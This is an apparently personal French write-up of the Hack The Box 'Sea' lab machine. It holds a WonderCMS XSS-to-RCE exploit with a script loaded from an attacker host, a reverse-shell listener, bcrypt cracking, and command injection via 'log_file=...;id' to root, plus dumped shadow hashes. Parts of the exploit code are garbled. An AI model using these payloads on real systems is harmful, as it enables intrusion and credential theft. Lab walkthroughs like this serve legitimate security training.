


Sea

Monday, November 11, 2024 6:36 PM


```
nmap -sV -sC -O 10.129.236.182
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-11 18:25 CET
Nmap scan report for 10.129.236.182
Host is up (0.016s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh  OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_ 3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA)
|_ 256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:c7:20:38 (EDDSA)
_|_ 256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519)
80/tcp    open  http  Apache httpd 2.4.41 ((Ubuntu))
_|_http-title: Sea - Home
_|_http-server-header: Apache/2.4.41 (Ubuntu)
_|_http-cookie-flags:
|_ /:
|_ PHPSESSID:
_|_ httponly flag not set
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/).
TCP/IP fingerprint:
OS:SCAN(V=7.94$VN%E=4%D=11/11%OT=22%CT=1%CU=31649%PV=Y%DS=2%DC=1%G=Y%TM=673
OS:23E2B%P=x86_64-pc-linux-gnu$SEQ(SP=103%GCD=1%ISR=10B%TI=Z%CI=Z%II=1%TS=A
OS:)SEQ(SP=103%GCD=1%ISR=10C%TI=Z%CI=Z%II=1%TS=A)OPS(O1=M53CST11NW7%Q2=M53C
OS:ST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST11NW7%O6=M53CST11
WIN(W1
OS:=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%
O
OS:=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%W=0%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N
OS;)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%
A=
OS:S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%
DF
OS:=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=
OS:G%RID=G%RIPCK=G%RUCK=G%RUD=G)E(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 21.59 seconds
```




Je n'ai pas accès à la data mais si je demande l'accès à un sous dossier du style home alors j'ai accès et c'est une vulnérabilité.



Forbidden

You don't have permission to access this resource.



```
—(alice@kali)[~/Machines/EASY/LINUX/Sea]
$ ffuf -w /usr/share/wordlists/dirb/big.txt -recursion -u http://sea.htb/data/FUZZ -mc 200,301,302

v2.1.0-dev

:: Method : GET
:: URL : http://sea.htb/data/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,301,302

484 [Status: 200, Size: 3341, Words: 530, Lines: 85, Duration: 86ms]
:: Progress: [609/20469] :: Job [1/1] :: 312 req/sec :: Duration: [0:00:01] :: Errors: 0 ::
```

On continue la recherche (je suis naze g triché un peu)

```
—(alice@kali)[~/Machines/EASY/LINUX/Sea]
$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt -u "http://sea.htb/themes/bike/FUZZ"
t 200 -fc 403


v2.1.0-dev

:: Method : GET
:: URL : http://sea.htb/themes/bike/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 200
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 403

README.md [Status: 200, Size: 318, Words: 40, Lines: 16, Duration: 70ms]
sym/root/home/ [Status: 200, Size: 3650, Words: 582, Lines: 87, Duration: 107ms]
version [Status: 200, Size: 6, Words: 1, Lines: 2, Duration: 73ms]
:: Progress: [2565/2565] :: Job [1/1] :: 149 req/sec :: Duration: [0:00:18] :: Errors: 0 ::

—(alice@kali)[~/Machines/EASY/LINUX/Sea]
$
```

On regarde pour README.md :



```
# WonderCMS bike theme
## Description
Includes animations.
## Author: turboblack
## Preview
![Theme preview](/preview.jpg)
## How to use
1. Login to your WonderCMS website.
2. Click "Settings" and click "Themes".
3. Find theme in the list and click "Install".
4. In the "General" tab, select theme to activate it.
```

turboblack

Bref avec la CVE il faut créer un payload qui va créer une attaque XSS. Donc il faut reprendre ce script, changer le payload et l'envoyer dans le formulaire pour que l'admin l'active.
RELOU

```
# Exploit: WonderCMS XSS to RCE
import sys
import requests
import os
import bs4
if (len(sys.argv)<4): print("usage: python3 exploit.py loginURL IP_Address Port\nexample: python3 exploit.py http://localhost/wondercms/loginURL 192.168.29.165 5252")
else:
    data = ""
    // the server has some issue resolving domain name with JavaScript
    // we can just provide the target URL as required parameter
    var whateverURL = "http://sea.htb";
    var token = document.querySelectorAll("[name='token"])[0].value;
    // modify the ZIP file path serving on HTTP server
    var urlRev = whateverURL+?
    installModule=http://10.10.16.4:8000/whatever.zip&directoryName=violet&type=themes&token
    ="+ token;
    var xhr3 = new XMLHttpRequest();
    xhr3.withCredentials = true;
    xhr3.open("GET", urlRev);
    xhr3.send();
    xhr3.onload = function() {
        if (xhr3.status == 200) {
            var xhr4 = new XMLHttpRequest();
            xhr4.withCredentials = true;
            // visit rev.php inside the uploaded ZIP file
            xhr4.open("GET", whateverURL+"/themes/whatever/rev.php");
            xhr4.send();
            xhr4.onload = function() {
                if (xhr4.status == 200) {
                    var ip = ""+str(sys.argv[2])+";
                    var port = ""+str(sys.argv[3])+";
```

```

var xhr5 = new XMLHttpRequest();
xhr5.withCredentials = true;
// trigger reverse shell script and provide listner ip & port
xhr5.open("GET", whateverURL+"/themes/whatever/rev.php?lhost=" + ip + "&lport=" + port);
xhr5.send();
}
};

try:
open("xss.js", "w").write(data)
print("[+] XSS.js is created")
print("[+] execute the below command in another terminal\n-----\nnc -lvp
"+str(sys.argv[3]))
print("-----\n")
XSSlink = str(sys.argv[1]).replace("loginURL", "index.php?page=loginURL?")+"
```

ON va d'abord tester ça : https://github.com/thefuzzyfish/CVE-2023-41425-wonderCMS_RCE

CVE-2023-41425-wonderCMS_RCE

Cross Site Scripting vulnerability in Wonder CMS v.3.2.0 thru v.3.4.2 allows a remote attacker to execute arbitrary code via a crafted script uploaded to the installModule component. *For educational purposes only*

Requires knowledge of loginURL, admin access or the ability to get the admin to click the XSS link.

- Clone the repo

```
git clone https://github.com/thefuzzyfish/CVE-2023-41425-wonderc
```

- Run it

```
RHOST -lhost LHOST -lport LPORT -sport SPORT
p://example.com/loginURL -lhost 10.10.14.7 -lport 9001 -sport 8000
```

- Set up a local listener

```
nc -lvp 9001
```

- Send the printed XSS URL to the victim or if you have admin access click it
- Wait for a callback

```
—(alice㉿kali)-[~/MACHINES/EASY/LINUX/sea]
$ python3 CVE-2023-41425.py -rhost http://sea.htb/loginURL -lhost 10.10.14.28 -lport 4242 -sport 8000
```

```
—(alice㉿kali)-[~/MACHINES/EASY/LINUX/sea]
$ nc -lvp 4242
listening on [any] 4242 ...
```

```
—(alice㉿kali)-[~/MACHINES/EASY/LINUX/sea]
$ python3 CVE-2023-41425.py -rhost http://sea.htb/loginURL -lhost 10.10.14.28 -lport 4242 -sport 8000

[+] Set up a nc listener: nc -lvp 4242
[+] Send the XSS URL to the victim:
http://sea.htb/LoginURL/index.php?page=loginURL?"></form><script+src="http://10.10.14.28:8000/xss.js"></script><form+action="
[+] Serving at http://10.10.14.28:8000
```

Il faut copier ce payload et le mettre dans le form :

```
http://sea.htb/loginURL/index.php?page=loginURL?"></form>
<script+src="http://10.10.14.28:8000/xss.js"></script><form+action="
```

Competition registration - Sea

Name:

Email:

Age:

Country:

Website: </form><script+src="http://10.10.14.28:8000/xss.js"></script><form+action=""/>

Au bout d'un moment on a le shell :

```
(alice@kali)[-.../Machines/EASY/LINUX/Sea]
└─$ nc -lnpv 4242
listening on [any] 4242 ...
connect to [10.10.14.28] from (UNKNOWN) [10.129.236.182] 48486
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
bash: cannot set terminal process group (1123): Inappropriate ioctl for device
bash: no job control in this shell
www-data@sea:/var/www/sea/themes/shell$
```

```
cat passwd
root:x:0:root:/root:/bin/bash
daemon:x:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:bin:/bin:/usr/sbin/nologin
sys:x:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
ucp:x:10:10:ucp:/var/spool/ucp:/usr/sbin/nologin
proxy:x:12:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:1:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:system Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:system Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:system Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106:/nonexistent:/usr/sbin/nologin
syslog:x:104:108:/home/syslog:/usr/sbin/nologin
apt:x:105:65534:/nonexistent:/usr/sbin/nologin
tss:x:106:111:TP software stack,,,:/var/lib/tpm:/bin/false
uidadd:x:107:112:/run/uiddd:/usr/sbin/nologin
tcpdump:x:108:113:/var/lib/landscape:/usr/sbin/nologin
landscape:x:109:115:/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1:/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:6:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534:/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:::/usr/sbin/nologin
amay:x:1000:1000:amay:/home/amay:/bin/bash
lxd:x:998:100:/:/var/snap/lxd/common/lxd:/bin/false
Geo:x:1001:1001:/home/geo:/bin/bash
Laurel:x:997:997:/var/log/laurel:/bin/false
www-data@sea:/etc$ cat /etc/shadow
cat /etc/shadow
cat /etc/shadow: Permission denied.
```

En gros on va mettre le fichier sur un serveur créer avec python puis on va sur la machine victime récupérer le fichier avec wget

Comme on est sur le shell de l'admin du site on doit d'abord regardé dans le dossier www/html. On voit ici qu'on a un database.js :

```
www-data@sea:/var/www/sea/data$ ls
cache.json database.js files
www-data@sea:/var/www/sea/data$ cat database.js
cat database.js
{
  "config": {
    "siteTitle": "Sea",
    "theme": "bike",
    "defaultPage": "home",
    "login": "loginURL",
    "forceLogout": false,
    "forceHttps": false,
    "saveChangesPopup": false,
    "password": "$2y$10$10rk210RQSAzNCx6Vyg2X.aJ/D.GUE4jRIikYiWrD3TM/PjDnxm4q",
    "lastLogins": {
      "2024/11/12 11:18:06": "127.0.0.1",
      "2024/11/12 07:09:56": "127.0.0.1",
      "2024/07/31 15:17:10": "127.0.0.1",
      "2024/07/31 15:15:10": "127.0.0.1",
      "2024/07/31 15:14:10": "127.0.0.1"
    },
    "lastModulesSync": "2024/11/12",
    "customModules": {
      "themes": {},
      "plugins": {}
    },
    "menuItems": {
      "0": {
        "name": "Home",
        "slug": "home",
        "visibility": "show",
        "subpages": {}
      },
      "1": {
        "name": "How to participate",
        "slug": "how-to-participate",
        "visibility": "show",
        "subpages": {}
      }
    },
    "logoutToLoginScreen": {}
  },
  "pages": {
    "404": {}
  }
}
```

Et un mot de passe qui est de la forme **bcrypt**.

On le crack avec **john** ou avec **hashcat** avec le mode 3200 :

```
GNU nano 8.2
$2y$10$10rk210RQSAzNCx6Vyg2X.aJ/D.GUE4jRIikYiWrD3TM/PjDnxm4q
```

Il faut retirer le backslash =

```
GNU nano 8.2
$2y$10$10rk210RQSAzNCx6Vyg2X.aJ/D.GUE4jRIikYiWrD3TM/PjDnxm4q
```

```
—(alice㉿kali)-[~/Machines/EASY/LINUX/Sea]
└─$ john --format=bcrypt hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
mychemicalromance (?)?
ig 0:00:00:30 DONE (2024-11-12 12:41) 0.03241g/s 99.18p/s 99.18c/s iamcool..memories
use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

```
www-data@sea:/var/www/sea/data$ cd /home
cd /home
www-data@sea:/home$ ls
amay geo
www-data@sea:/home$
```

On va tester de se connecter en ssh avec l'un de ses comptes :

```
—(alice㉿kali)-[~/Machines/EASY/LINUX/Sea]
└─$ ssh amay@10.129.236.182
amay@10.129.236.182's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-190-generic x86_64)

 * Documentation: https://help.ubuntu.com
 * Management: https://landscape.canonical.com
 * Support: https://ubuntu.com/pro

System information as of Tue 12 Nov 2024 11:43:46 AM UTC

System load: 1.64 Processes: 257
Usage of /: 68.4% of 6.51GB Users logged in: 0
Memory usage: 12%
Swap usage: 0%

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Aug 5 07:10:49 2024 from 10.10.14.40
amay@sea:~$
```

Donc amay:**mychemicalromance**

```
amay@sea:~$ cat user.txt
1255f3817b9017bebf6c20b628fb4641e
amay@sea:~$
```

```

amay@sea:~$ find / -perm -u=s -exec ls -l {} \; 2>/dev/null
-rwsr-xr-x 1 root root 85064 Feb 6 2024 /snap/core20/2318/usr/bin/chfn
-rwsr-xr-x 1 root root 53040 Feb 6 2024 /snap/core20/2318/usr/bin/chsh
-rwsr-xr-x 1 root root 88464 Feb 6 2024 /snap/core20/2318/usr/bin/gpasswd
-rwsr-xr-x 1 root root 55528 Apr 9 2026 /snap/core20/2318/usr/bin/mount
-rwsr-xr-x 1 root root 44784 Feb 6 2026 /snap/core20/2318/usr/bin/newgrp
-rwsr-xr-x 1 root root 68208 Feb 6 2026 /snap/core20/2318/usr/bin/passwd
-rwsr-xr-x 1 root root 67816 Apr 9 2024 /snap/core20/2318/usr/bin/su
-rwsr-xr-x 1 root root 166056 Apr 4 2023 /snap/core20/2318/usr/bin/sudo
-rwsr-xr-x 1 root root 39144 Apr 9 2024 /snap/core20/2318/usr/bin/unmount
-rwsr-xr-x 1 root systemd-resolve 51344 Apr 25 2022 /snap/core20/2318/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 477672 Jan 2 2024 /snap/core20/2318/usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 135960 Apr 24 2024 /snap/snappyd/21759/usr/lib/snappyd/snap-confine
-rwsr-xr-x 1 root root 210248 Jul 29 22:15 /opt/google/chrome/chrome-sandbox
-rwsr-xr-x 1 root root 68208 Feb 6 2024 /usr/bin/passwd
-rwsr-xr-x 1 root root 85064 Feb 6 2024 /usr/bin/chfn
-rwsr-xr-x 1 root root 55528 Apr 9 2024 /usr/bin/mount
-rwsr-xr-x 1 root root 166056 Apr 4 2023 /usr/bin/sudo
-rwsr-xr-x 1 root root 39144 Apr 9 2024 /usr/bin/unmount
-rwsr-xr-x 1 root root 67816 Apr 9 2024 /usr/bin/su
-rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/bin/fusermount
-rwsr-xr-x 1 root root 53040 Feb 6 2024 /usr/bin/chsh
-rwsr-xr-x 1 root root 44784 Feb 6 2024 /usr/bin/newgrp
-rwsr-xr-x 1 root root 88464 Feb 6 2024 /usr/bin/gpasswd
-rwsr-sp-r 1 daemon daemon 55560 Nov 12 2018 /usr/bin/at
-rwsr-xr-x 1 root root 22840 Feb 21 2022 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 14488 Jul 8 2019 /usr/lib/plymouth/decrypt-get-device
-rwsr-xr-- 1 root messagebus 51344 Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 477672 Jan 2 2024 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 155880 Jul 26 02:58 /usr/lib/snappyd/snap-confine
amay@sea:~$ 

```

ON va créer un nouveau user avec les droits de root :

```

(alice@kali)-[~/Machines/EASY/LINUX/Sea]
$ openssl passwd alice
$1$VLyjNzSg$jjss/xMNbxTmZEIAQTkt2a1

```

\$1\$VLyjNzSg\$jjss/xMNbxTmZEIAQTkt2a1

alice:\$1\$VLyjNzSg\$jjss/xMNbxTmZEIAQTkt2a1:0:0:root:/root:/bin/bash


Bon ça ne fonctionne pas ff

```

cannot write to /linenum.sh (Permission denied).
amay@sea:~/etc$ netstat -nlp
Active Internet connections (only servers)
Proto Recv-Q Local Address           Foreign Address         State       PID/Program name
tcp     0      0.0.0.0:80          0.0.0.0:*        LISTEN      -
tcp     0      0.0.0.0:1:8080        0.0.0.0:*        LISTEN      -
tcp     0      0.0.0.0:5353        0.0.0.0:*        LISTEN      -
tcp     0      0.0.0.0:22          0.0.0.0:*        LISTEN      -
tcp     0      0.0.0.0:1:50079       0.0.0.0:*        LISTEN      -
tcp6    0      ::1:22             ::*#                   LISTEN      -
udp     0      0.0.0.0:5353        0.0.0.0:*        -
udp     0      0.0.0.0:68          0.0.0.0:*        -
Active UNIX domain sockets (only servers)
Proto RefCnt Flags       State      I-Node   PID/Program name      Path
unix  2      [ ACC ]     SEQPACKET  LISTENING  17214  -          /run/udev/control
unix  2      [ ACC ]     STREAM     LISTENING  388016  67187/systemd  /run/user/1000/systemd/private
unix  2      [ ACC ]     STREAM     LISTENING  388021  67187/systemd  /run/user/1000/bus
unix  2      [ ACC ]     STREAM     LISTENING  379606  67187/systemd  /run/user/1000/gnupg/s.dirmngr
unix  2      [ ACC ]     STREAM     LISTENING  379607  67187/systemd  /run/user/1000/gnupg/S.gpg-agent.browser
unix  2      [ ACC ]     STREAM     LISTENING  379608  67187/systemd  /run/user/1000/gnupg/S.gpg-agent.extra
unix  2      [ ACC ]     STREAM     LISTENING  17196  -          /org/kernel/linux/storage/multipathd
unix  2      [ ACC ]     STREAM     LISTENING  379609  67187/systemd  /run/user/1000/gnupg/S.gpg-agent.extra
unix  2      [ ACC ]     STREAM     LISTENING  379610  67187/systemd  /run/user/1000/gnupg/S.gpg-agent
unix  2      [ ACC ]     STREAM     LISTENING  379611  67187/systemd  /run/user/1000/pk-debconf-socket
unix  2      [ ACC ]     STREAM     LISTENING  379612  67187/systemd  /run/user/1000/snappyd-session-agent.socket
unix  2      [ ACC ]     STREAM     LISTENING  17183  -          /run/systemd/private
unix  2      [ ACC ]     STREAM     LISTENING  17185  -          /run/systemd/urudev/_io.systemd.DynamicUser
unix  2      [ ACC ]     STREAM     LISTENING  17194  -          /run/lvm/lvmpolld.socket
unix  2      [ ACC ]     STREAM     LISTENING  17199  -          /run/systemd/fsck.progress
unix  2      [ ACC ]     STREAM     LISTENING  17200  -          /run/systemd/journal/stdout
unix  2      [ ACC ]     STREAM     LISTENING  17452  -          /run/systemd/journal/io.systemd.journal
unix  2      [ ACC ]     STREAM     LISTENING  21136  -          /run/dbus/system_bus_socket
unix  2      [ ACC ]     STREAM     LISTENING  21144  -          /run/snappyd.socket
unix  2      [ ACC ]     STREAM     LISTENING  21146  -          /run/snappyd.snap.socket
unix  2      [ ACC ]     STREAM     LISTENING  21148  -          /run/uidfd/request
unix  2      [ ACC ]     STREAM     LISTENING  21165  -          /var/run/vmware/guestServicePipe
unix  2      [ ACC ]     STREAM     LISTENING  21472  -          /run/irqbalance/irqbalance841.sock
unix  2      [ ACC ]     STREAM     LISTENING  21143  -          @ISCSIADM_ABSTRACT_NAMESPACE
amay@sea:~/etc$ 

```

ON refait un port fowarding et on essaye avec le port 8080



Ensuite on se connecte avec l'ID de Amay :

System Monitor(Developing)

Disk Usage

/dev/mapper/ubuntu--vg-ubuntu--lv 6.6G 4.6G 1.6G 75%
Used:
Total: 75%

System Management

Clean system with apt | Update system | Clear auth.log | Clear access.log

Analyze Log File

site nous montre l'usage d'un disk sur ubuntu avec /dev/mapper/ubuntu etc. ON a plusieurs options notamment analyze access.log et auth.log files.
Par exemple on peut voir les logs de notre ffuz :

Si on regarde avec burpsuite on remarque un paramètre `log_file=/var/log/apache2/access.log` via une requête POST.

Pour accéder au auth.log il faut avoir le root privilège ce qui veut dire qu'on a accès depuis le site donc on peut漏er l'information. Don on peut conclure qu'on est root.

```
netgear@total: ~$ /var/log/ls -l
```

total	17284			
drwxr-x---	2	root	adm	4096 Aug 11 00:00 apache2
drwxr-x---	2	root	root	4096 Aug 11 12:55 apt
drwxr-x---	2	root	adm	4096 Aug 11 03:11 auditd
-rw-r-----	1	syslog	adm	393 Aug 11 06:23 auth.log
-rw-r-----	1	syslog	adm	393 Aug 11 06:23 auth.log.1
-rw-r-----	1	syslog	adm	455 Aug 18 20:02 auth.log.2
-rw-rw-	1	root	utmp	2688 Aug 11 05:45 btmp
drwxr-x---	2	root	root	4096 Mar 14 2023 dtrx-dhcp
-rw-r-----	1	root	adm	189326 Aug 10 20:23 dmesg
-rw-r-----	1	root	adm	118514 Aug 5 07:48 dmesg.8
-rw-r-----	1	root	adm	532 Aug 11 06:23 dmesg.9
drwxr-x---	3	root	adm	4096 Aug 11 12:47 log
drwxr-x---	3	root	systened-journal	4096 Feb 21 01:06 log.1
-rw-r-----	1	syslog	adm	568 Aug 11 05:58 kern.log

Si on supprime les logs :

Analyze Log File

access.log ▾ Analyze

En sachant qu'on a accès à des informations leaker en étant root on peut tester des payload pour avoir accès au root.txt:

On a rien. Maintenant si on rajoute des ; pour

```
Pretty Raw Hex Render
-----[REDACTED]-----
ng.image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Origin: http://127.0.0.1:8080
Authorization: Basic YmlhZTptenN0ZW1pY2Fscs9tYW5jZG==  

Connection: keep-alive
Host: 127.0.0.1:8080/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
log_file=/root/root.txt;id:alice&analyze_log=/root/root.txt
-----[REDACTED]-----
```

Request

Pretty Raw Hex

```
-----[REDACTED]-----
ng.image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Origin: http://127.0.0.1:8080
Authorization: Basic YmlhZTptenN0ZW1pY2Fscs9tYW5jZG==  

Connection: keep-alive
Host: 127.0.0.1:8080/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
log_file=/root/root.txt;id:alice&analyze_log=/root/root.txt
-----[REDACTED]-----
```

Response

Pretty Raw Hex Render

```
-----[REDACTED]-----
<option value=>
<option value="/var/log/auth.log">
    auth.log
</option>
</select>
<button type="submit" name="analyze_log" class="button">
    Analyze
</button>
</form>
d031746992cab0fd1063cfee7edda99
uid=0(root) gid=0(root) groups=0(root)
<p class="error">
    Suspicious traffic patterns detected in /root/root.txt;id:alice:
</p>
<pre>
uid=0(root) gid=0(root) groups=0(root)
</pre>
```

-----[REDACTED]-----

```
-----[REDACTED]-----
log_file=/root/root.txt;id:analyze_log=/root/root.txt
-----[REDACTED]-----
```

Response

Pretty Raw Hex Render

```
-----[REDACTED]-----
<option value=>
<option value="/var/log/auth.log">
    auth.log
</option>
</select>
<button type="submit" name="analyze_log" class="button">
    Analyze
</button>
</form>
d031746992cab0fd1063cfee7edda99
<p class="error">
    Suspicious traffic patterns detected in /root/root.txt;id:
</p>
<pre>
d031746992cab0fd1063cfee7edda99
</pre>
-----[REDACTED]-----
```

Le système applique un filtre pour détecter des "contenus suspects" dans les requêtes envoyées à un formulaire d'analyse de logs. En testant des fichiers comme /root/root.txt, le filtre valide leur sécurité. Après des essais, l'injection de commande avec un séparateur (;) contourne ce filtre, permettant l'exécution de commandes arbitraires en tant que root, comme l'affichage des permissions ou du contenu des fichiers sensibles.

Si on fait un etc/shadow :

```
geo:$6$5AlqOze4GJ4s9Zu
$P3lgUSHicCKkpDj0862lgP5qaqNiEUZDGIm16FiWdxh1A5dfKjmhMgp3xctHiHZVWGtmKY25cCrLan
DPaG.:19934:0:99999:7:::
```

```
root:$6$llVzHhr7xHrvx1wJ
$gHPbypalOqLrpjzGzbM2bz/iHaOfv/bj1YRrktVeZ8.1KQ0Jr1Rv/TL/3Qdh84Fwec1UhX2v0LVAGsuz
q:0:19775:0:99999:7:::
```

FIN